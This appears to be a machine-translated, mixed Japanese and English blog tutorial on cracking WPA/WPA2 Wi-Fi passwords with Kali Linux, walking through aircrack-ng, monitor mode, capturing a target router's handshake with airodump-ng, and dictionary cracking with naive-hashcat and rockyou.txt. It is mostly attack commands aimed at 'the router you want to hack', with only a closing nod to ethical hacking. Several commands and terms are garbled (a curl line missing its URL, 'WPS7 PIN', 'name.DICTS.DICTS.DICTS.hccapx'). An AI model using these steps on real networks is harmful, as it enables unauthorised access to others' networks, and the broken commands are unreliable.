Kali Linux WPA and WPA2 Attacks

この記事では、Wi-FiとWi-Fiハッキングの概要について説明します。 Wi-Fi とハッキングの基本的な紹介から始めます。

はじめに

Wireless Fidelity、または Wi-Fi は、ケーブルまたはハードワイヤ接続なしでコンピュータ ネットワークへの接続を提供するために採用されている技術の一種です。 Wi-Fiは、2.4 Ghzから5 Ghzの範囲で動作し、携帯電話、放送ラジオ、テレビ、または携帯ラジオに干渉しないようにします。 Wi-Fiは、クライアント機器とルーターと呼ばれる機器との間で電波を使ってデータを伝送することで機能します。 ルーターは、データを内部のシステムに送信したり、インターネットに外部送信したりすることができます。 Wi-Fiは、従来のハードワイヤード・ネットワークよりも安全性が高いわけでも低いわけでもなく、まったく異なるインターフェースである。 WEP(Wired Equivalent Privacy)は1997年に発表されたもので、侵入が容易なことが最も重要な点です。 WEPは数分以内に解読することができます。 最近のデバイスはWEPネットワークで動作せず、ほとんどのルーターはもはやWEPをサポートしていません。

Hacking

簡単に言えば、誰かの個人情報を解読したり侵入したりすることは、ハッキングとして知られています。 ハッカーは、あなたの個人的なデバイスやコンピュータに簡単にアクセスすることができます。 ユーザーが使用している暗号化の種類に関係なく、ワイヤレスネットワークのセキュリティをバイパスして侵入できます。

一般的に、誰かのワイヤレスネットワークに侵入したい場合、まず、使用されている暗号化について知る必要があります。 先に述べたように、WPE タイプのネットワークはかなり長い間安全ではありませんでした。 一般に、 数分以内に侵入す る こ と がで き ます。 弱いパスワードを使っている場合は、WPAネットワークでも同じことが言えます。 しかし、強いパスワードを使えば、WPS7 PINを除いては、比較的安全です。 これは、多くのルーターが使用しているハードウェアベースの脆弱性で、ハッカーがルーターに完全にアクセスするためのピンを取得することができます。 これは通常、ルーターの底部に書かれている8桁の数字です。

Open Kali Linux Terminal

The first step is simply open the Kali Linux terminal.以下の手順で、この番号を導き出すことができます。 これを行うには、ALT+CTRL+Tを押します。

Enter Command for aircrack-ng Installation

次のステップは、aircrack-ngをインストールすることです。 以下のコマンドを入力します。

$ sudo apt-get install aircrack-ng

ログインするパスワードを入力

アクセス可能にするには、ルートパスワードを入力してください。 ログインパスワードを入力したら、Enterボタンを押して続けます。

Install aircrack-ng

ログイン後すぐに、Yボタンを押します。 これでaircrack-ngのインストールが可能になります。

Turn on airmon-ng

Airmon-ngは、マネージドモードをモニターモードに変換するためのソフトウェアです。 以下のコマンドを使用してairmon-ngをオンにします:

$ airmon-ng

Find Monitor Name

次のステップでは、ハックを続けるためのモニター名を見つけてください。 モニター名はインターフェース欄で確認することができます。 場合によっては、モニター名を表示できないことがあります。 このエラーは、カードがサポートされていない場合に発生します。

Begin Monitoring the Network

次のコマンドを入力して、監視プロセスを開始します:

$ airmon-ng start wlan0

他の何らかのネットワークを対象とする場合、「wlan0」を正しいネットワーク名と交換する必要があります。

モニタモードインターフェースを有効にする

次のコマンドは、モニタモードインターフェースを有効にするために使用します:

$ iwconfig

Kill Processes that Return Errors

お使いのシステムによって何らかの干渉が発生する可能性があります。 次のコマンドを使用して、このエラーを取り除きます。

$ airmon-ng check kill

モニターインターフェースの確認

次のステップは、モニター名を確認することです。 今回は「wlan0mon」という名前です。

Get Names of All Routers

以下のコマンドを入力すると、利用可能なすべてのルータの名前が表示されます。

$ airodump-ng mon0

ルータの名前を見つける

最初に、ハックしたい特定のルータの名前を見つける必要があります。

Ensure that the Router Uses WPA or WPA2 Security

If the WPA name appears on the screen, then you can continue hacking.

Note the MAC address and channel number.

This is a basic information about the network.この情報は、ネットワークの基礎情報であり、ルーターがWPAを使用しているかどうか確認する必要があります。 ネットワークの左側に表示されます。

Monitor the Selected Network

以下のコマンドで、ハッキングしたいネットワークの詳細を監視します。

$ airodump-ng -c channel –bssid MAC -w /root/Desktop/ mon0

Wait for Handshake

WPA HANDSHAKE’ written on your screen.

CTRL+C でウィンドウから退出してください。

Rename the cap File

簡単にファイル名を編集することができます。

$ mv ./-01.cap name.cap

ファイルを hccapx 形式に変換

Kali converter を使って簡単に hccapx 形式にファイルを変換することができます。

$ cap2hccapx.bin name.cap name.hccapx

ナイーブハッシュキャットのインストール

あとはこのサービスを使ってパスワードを解読してください。 以下のコマンドでクラッキングを開始します。

$ sudo git clone https://github.com/brannondorsey/naive-hashcat
$ cd naive-hash-cat

$ curl -L -o dicts/rockyou.txt

Run naive-hash-cat

naive-hash-cat サービスを実行するには、次のコマンドを入力します:

$ HASH_FILE=name.DICTS.DICTS.DICTS.hccapx POT_FILE=name.pot HASH_TYPE=2500 ./naive-hash-cat.sh

ネットワークパスワードが解読されるまで待つ

パスワードが解読されるとすぐにファイル内にそのことが記載されます。 このプロセスは、完了するまでに数ヶ月から数年かかることもあります。 このプロセスが完了したら、次のコマンドを入力して、パスワードを保存してください。

$ aircrack-ng -a2 -b MAC -w rockyou.txt name.cap

結論

Kali Linuxとそのツールを使用することにより、ハッキングは簡単になることができます。 上記の手順を踏むだけで、簡単にパスワードにアクセスすることができます。 この記事が、パスワードを解読し、倫理的なハッカーになるために役立つことを願っています。

コメントを残す

メールアドレスが公開されることはありません。